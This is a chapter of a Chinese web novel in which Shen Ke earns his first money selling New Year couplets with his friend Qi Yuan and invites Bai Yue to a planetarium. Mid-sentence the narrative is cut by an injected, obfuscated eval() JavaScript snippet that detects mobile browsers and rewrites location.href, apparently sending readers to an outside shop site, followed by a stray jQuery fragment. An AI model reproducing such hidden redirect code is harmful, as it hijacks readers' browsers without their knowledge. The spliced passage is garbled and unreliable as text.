那几天，沈恪每天吃完早饭就出门。
第一天他去了咖啡店，坐到了角落那张桌子。
没狸猫不忙的时候两个人会聊几句，聊的都是些有的没的，今天店里来了个非要喝美式加糖的客人，昨天外卖员把咖啡洒了一地。
沈恪听着，偶尔笑一下。
第二天他沿着商业街走，在一家年货店门口停了下来。
橱窗里摆着烫金的福字，旁边还有一摞红纸，看着喜气洋洋的。
小时候妈妈也给他带过福字，贴在病房门上，护士笑着说“过年啦”。那时候他以为过年就是病房门上多了一张红纸。
他站了一会儿，继续走。
第三天他什么也没干，就坐在公园的长椅上。
旁边有个老奶奶在喂鸽子，面包屑撒了一地，鸽子围着她转。老奶奶看他一个人坐着，分了他半块面包：“小伙子，你也喂喂。”
沈恪接过来，掰了一点扔出去。鸽子没理他，继续围着老奶奶转。他又扔了一点，还是没理他。
老奶奶笑了：“你光坐着，鸽子哪知道你手里有吃的？得伸手啊。”
沈恪愣了一下，把手摊开放在膝盖上。过了一会儿，有只鸽子歪着头看他，跳了两步，啄了一下他手心里的面包屑。痒痒的，他没忍住笑了。
回来的时候天已经黑了。白越这个点一般在做饭，听见门响，手里的动作顿一顿，没回头。沈恪换了鞋，说一声“我回来了”，白越应一声“嗯”。没了。
沈恪有时候会在厨房门口站一会儿，看白越切菜。以前他会凑过去问“今天吃什么”，白越就笑着回头说“猜猜看”。现在他站在门口，转身就走了。
有一次他上楼的时候，在楼梯拐角碰到祈愿。祈愿靠在墙上打游戏，看见他上来，抬了抬眼皮：“又出去了？”
“嗯。”
“去哪了？”
“就……走走。”
祈愿没再问。沈恪从他身边走过，走了两步又停下来。
“祈愿，你有没有觉得我变了？”
“哪？”
“不知道。”沈恪想了想，眉头微微皱着，“就是……以前我不知道自己想干什么，现在好像知道了，但又说不上来。”
祈愿没说话。沈恪等了会儿没等到回答，继续往上走。
“那不是坏事。”祈愿的声音从身后传来。
沈恪回头，祈愿已经低头继续刷手机了，好像什么都没说过。
他站在楼梯上，看着祈愿的头顶，笑了下。
“好。”
他转身上楼，脚步比刚才轻了一点。
……
不出门的时候，他就凑在祈愿旁边看他打游戏。他没什么分寸感，只是想和朋友待在一起，所以离得很近，近到能看清祈愿手机屏幕上每一个技能冷却的读秒。祈愿操作失误被队友问候全家，骂骂咧咧地退了游戏。
祈愿转过头，看着凑在旁边的沈恪，挑了挑眉：“你很闲？”
沈恪想了想，点了点头。
祈愿看了他几秒，忽然问：“你自己赚过钱没？”
“……没。”
“我想也是。走，给你找点事做。”
祈愿站起来，往客厅方向看了一眼。
白越戴了副黑色边框眼镜坐在沙发上，面前摊着笔记本电脑，屏幕上是密密麻麻的数字和图表，不知道在看什么。
祈愿没说话，收回目光就往门口走。沈恪跟着站起来，没有和白越说任何话，直接跟着祈愿出了门。
门关上的那一刻，白越的手指在键盘上停了停，然后继续敲。
……
沈恪以为祈愿要带自己去玩什么，结果他把自己带到了大学城附近。
停下他那辆骚包又显眼的法拉利后，祈愿掏出手机翻了个号码拨出去，语气随意：“仓库还有没有年货？……印刷的就行，送几箱过来。……对，现在。”
挂了电话，他瞥了沈恪一眼：“等着。”
没过多久，一辆面包车开过来，卸下一箱箱春联、福字、窗花。
沈恪愣住：“这……”
“我妈厂里的。”祈愿说得轻描淡写，弯腰拆箱子，“成本不用你出，赚的钱归你。”
“可这不是我自己写的……”
祈愿头也没抬：“你写的那破字谁买？”
沈恪想说自己可以练，练好了就能写。但这话说出来太像给自己找借口，便咽了回去。
祈愿看了他一眼，把箱子往他面前推了推：“先卖，以后想写再写。”
沈恪愣了一下，抬起头。
祈愿已经弯腰拆另一箱了，头也没抬。
他从面包车后备箱里翻出一张折叠桌，带着沈恪找了个路口，摊子往那一摆，春联一排排铺开。又找了个纸板，拿记号笔写了几个大字：清仓甩卖。
沈恪看了半天。
好丑的字。
等他打印完收款码回来，他们的小摊子旁支起了个更大的摊位，东西比他们多，老板嗓门比谁都亮。
他小声对祈愿说：“可这里已经有人在卖年货了……要不我们走吧。”
“你这就要跑？”
“……”
祈愿把价格报了一遍，铜纸板的五块，植绒的十块，绒布三十。福字窗花红包自己看着卖。
沈恪掏出手机记数字，手指在屏幕上戳得飞快，嘴里小声重复着：“五块、十块、三十……”
“你就坐这儿。”祈愿把折叠椅往桌后一放，“有人来问就说不讲价。”
沈恪坐下去，仰头看他：“你呢？”
“我在这儿。”祈愿靠在旁边的墙上，掏出手机就开始刷，好像真的只是来陪他耗时间的。
沈恪坐在桌子后面，面前摆着一排红彤彤的春联，旁边立着那个手写的纸板。街上偶尔有人经过，看他一眼，走了。又有人经过，看了一眼纸板，又看了一眼他，还是走了。
他张了张嘴，喊不出来。旁边的大姨嗓门又亮又响，把他的声音全盖过去了。
祈愿在那边嗤了一声：“你是卖东西还是当门神？”
沈恪脸红了。憋了半天，终于小声说了句：“春联……清仓甩卖……”
声音太小，连他自己都没听清。
祈愿翻了个白眼，走过来往他旁边一站，对着街上就是一嗓子：“春联！清仓甩卖了啊！”
那声音又亮又稳，把沈恪吓了一跳。
祈愿抱着胳膊站在那儿：“喊啊。”
沈恪抿了抿唇，也跟着喊了一嗓子。声音还是小，但喊完他自己先笑了。
一个拎着菜篮子的阿姨停下来，看了看春联，又看了看沈恪：“小孩儿，你卖的？”
沈恪点点头，手心开始出汗。
阿姨挑了一副阖家欢乐，翻了翻，又放回去，拿起另一副。沈恪的心跟着她的手起起落落。最后阿姨选了一副步步高升，从兜里掏出十块钱递过来。
沈恪接过那张钱，攥在手心里看了好几秒，才反应过来应该找钱。阿姨摆摆手，拎着春联走了。他还攥着那张钱，掌心都是汗。
祈愿瞥了他一眼：“收起来啊，攥那么紧干嘛。”
沈恪把钱叠好，放进口袋里，忍不住又摸了摸。
又走过来一对年轻夫妻。女的挑了一副，男的问：“便宜点，八块？”
沈恪下意识看了祈愿一眼。祈愿刷着手机，没什么表情：“你的东西，自己决定。”
沈恪抿了抿唇，最后摇头拒绝了：“就十块。”
那人放下春联走了。沈恪看着那人的背影，心跳得很快，但没改口。他攥着桌沿，等了一会儿，那对夫妻没有回来。他低头盯着桌上那副被翻过的春联，边角翘起来了一点，伸手把它按了下去。
后来陆陆续续有人来买。有人扫码，有人付现金。风大的时候，春联被刮跑，沈恪追出去好几米才捡回来，蹲在地上把皱了的边角抚平。
有个老大爷站在桌前看了半天，把每副都翻了一遍，最后挑了一副阖家欢乐，从口袋里掏出皱巴巴的十块钱。沈恪接过时看见他手指上贴着创可贴，指节粗大，指甲缝里还有洗不掉的泥灰。
“给您。”他把春联递过去，又拿起窗花和福字，“这些也给您。”
“不要钱？”
“不要钱，送您的。”
老大爷笑了，连说了好几声谢谢，拎着春联走远。
祈愿在旁边看着，没说话。
天黑的时候收摊。沈恪蹲在地上数钱，纸币硬币摊了一地。十块的，五块的，一块的，还有几张皱得看不出颜色的。他一张一张抚平，按面值排好，数了两遍。再加上那点电子收款。
“一百九十四块。”他抬头看祈愿，眼睛亮晶晶的。
然后他把现金全部递给了祈愿。
祈愿皱了皱眉：“给我干嘛？”
“春联是你家的。”
祈愿看着那几张皱巴巴的钱，没接：“留着。那点钱，自己收着。”
沈恪点点头，把钱叠好塞进口袋，站起来的时候腿有点麻。
走了两步，又停下来，摸了摸口袋。那些钱硌着他的大腿，硬硬的，有点扎。他想起白越给他的那张卡，薄薄一片，放在钱包里，什么都感觉不到。
原来自己赚的钱是这种感觉。会硌人。会让人走路的时候一直记得它在那里。
沈恪扭头看向祈愿：“那我请你吃饭吧。”
“我又不饿。”
祈愿别过脸，又补了句：“你非要请的话，就请个便宜的。”
沈恪想了想：“路边摊？”
“走。”
两个人真的去了大学城附近的路边摊。铁皮棚子底下摆着几张塑料桌椅，地上有油渍，空气里全是辣椒和孜然的味道。
沈恪点了一碗炒饭，一串烤面筋，一杯奶茶。祈愿要了碗最便宜的炒面，坐在了他对面。
沈恪翻了翻口袋里最皱的那几张钱，一共四十二元。他一张一张数给老板，手有点抖，但眼睛是亮的。
他端着炒饭回来，坐在祈愿对面，吃了一口。米饭粒粒分明，鸡蛋裹在上面，葱花的香气在嘴里散开。
“好吃吗？”祈愿问。
沈恪点点头，一口饭嚼了很久很久。
祈愿坐在对面，吃了一口面，看着他那副样子，没忍住：“至于吗。”
沈恪点点头：“至于的。”
他就是觉得这碗饭不一样。是他自己赚的钱，是他自己请的客，每一粒米都是他的。
“谢谢你，祈愿。”他忽然说。
祈愿没抬头：“我发现你吃饭的时候话真多。”
沈恪笑了，低下头：“这是我第一次自己赚钱。”
“我觉得自己好厉害。”
祈愿伸手在他脑袋上拍了一下：“少说煽情的屁话。”
沈恪揉了揉脑袋，又笑了。
吃完饭还剩一百多。沈恪把剩下的纸币一张张抚平，叠好，塞进口袋。
路过一家数码店的时候，他停下了脚步。橱窗里摆着一排耳机，最便宜的头戴耳机要六十出头，白色的机身被灯光照得发亮。
他想起祈愿每次打游戏都外放，被队友骂了还死不承认，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17368020|198096||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说“我耳机坏了”，但其实他根本没有耳机。
沈恪推门进去。
祈愿在门口等了一会儿，过了几分钟，沈恪拎着个小袋子出来，透明的塑料袋里装着一个小小的白色盒子。
“干嘛去了？”
沈恪把袋子递给他。祈愿拆开看了一眼，声音硬邦邦的：“你觉得我缺这个？”
沈恪想了想：“你经常外放打游戏。所以我想给你买一个。”
祈愿有些无语。
沈恪以为他要骂人，缩了缩脖子。
“戴上试试。”他小声说着。
祈愿看了他一眼，没动：“好蠢，我才不干。”
沈恪站在那儿没说话，风灌进领口，冻得他缩了缩脖子。
祈愿看了他两眼，啧了一声，把耳机从袋子里拿出来套在头上：“行了？”
祈愿的头发被耳机压下去几缕，翘在耳后，看着有点傻。
沈恪看着他，忽然笑了：“其实你这样还挺好看的。”
祈愿的动作顿了一下。他把耳机摘下来，放回纸袋子里。
“白痴吗你。”
……
回去的路上，沈恪低头看手机。祈愿走在他旁边，瞥了一眼屏幕：“干嘛呢？”
沈恪把手机往他那边侧了侧：“买票。天文馆的。”
“为什么是天文馆？”
沈恪抬头看了看天。城市灯光太亮，天是灰的，一颗星星都看不见。
“不知道，就是想看星星。”他看着天空喃喃道，“以前在病房里，都没见过。”
祈愿指了指天：“就这环境污染，你想见也见不到。”
沈恪嘟囔：“所以才要去天文馆啊……”
“你会用那个小程序？”
“现在会了。”
沈恪低头看着手机屏幕，选了两张票，付款。指尖在屏幕上点了一下，弹出“支付成功”的页面。
他扭头看向祈愿：“祈愿，你陪我去吗？”
祈愿没什么好气：“你自己找人陪。我又不是你的专属陪玩。”
沈恪愣了一下，又低头看手机：“那我自己去好了。”
走了几步，他低下头，退了一张票。
退完一张，他盯着那个空出来的位置，犹豫了一下，又买了一张。
祈愿在旁边看着，什么都没说。
他好像松了一口气，又好像有什么东西堵在喉咙里，咽不下去。
烦。
……
回到家时白越在客厅开会。他戴着耳机，屏幕那头有人在说话。沈恪推门进来，白越抬头看了他一眼，说了句“稍等”，把耳机摘了下来。
沈恪走过去，站在他面前。从口袋里掏出那些皱巴巴的零钱，一张一张铺在茶几上。
“我今天赚的。”
白越低头看着那几张钱。十块的，五块的，一块的，皱巴巴的。
“留着。”他的声音很轻，“自己赚的，自己留着。”
沈恪把钱收回去，重新叠好了塞进口袋。他沉默了一下，灌进一口水，水太凉，他皱了皱眉。
“我还买了两张天文馆的票。”他顿了顿，“在手机上买的。我自己买的。”
白越愣了一下。
沈恪没看他，盯着茶几上自己那半杯水：“你去不去？我请。”
白越没有立刻回答。他看着沈恪。沈恪低着头，耳朵尖有点红，手指无意识地揪着衣角。
“去。”他说。
只有一个字。
沈恪点了点头，转身上楼。走到楼梯口的时候，他停了一下，没有回头。
“晚安。”他说。
白越看着他的背影，那两个字在喉咙里滚了一下，才吐出来：“晚安。”
等沈恪的背影消失在了楼梯拐角，白越才重新戴上耳机。屏幕那头的人问：“小白总，刚才……”
“没事。”
会议后半程进行得很顺畅。他通过了一个卡了很久的方案，听着汇报，偶尔点头，偶尔说几句。
但他知道自己在走神，因为沈恪刚才说“我请”。
沈恪说这两个字的时候，声音很轻，低着头，手指在揪衣角。他在紧张，害怕自己被拒绝。
可如果沈恪有一天真的不需要他了，会是什么样？会像现在这样，自己赚钱，自己买票，自己决定要去哪里。然后回来告诉他一声，“我去了”，就像今天这样。
那他还能做什么？他什么都不能做，只能坐在沙发上等他回来。
他摘下眼镜，揉了揉眉心，说“继续”。
祈愿靠在客厅沙发上打游戏，枪声、脚步声、队友的骂声混在一起。白越那边会议结束的时候，祈愿刚好又输了一局，把手机往沙发上一扔。
“我发现你是真能装。”他没抬头。
“你也是。”
祈愿翻了个白眼，没接话。他把手机捡回来，解锁，又锁上，再解锁。
过了一会儿，白越盯着电脑屏幕忽然开口：“谢了。”
“有病。”
祈愿搓了搓胳膊，起身就往楼上跑，走到一半了又停下来：“明天早点去，晚了人多。”
白越看着他的背影，没说话。
客厅重新安静下来。
他抬起头，往二楼看了一眼。沈恪的房门虚掩着，门缝里透出一点暖黄色的光。
余光瞥见茶几上沈恪喝了一半的水杯，他拿起来喝完，但他没立刻收走。
他把杯口贴在自己脸上。
凉的。
他闭了闭眼，把杯子收进了消毒柜里。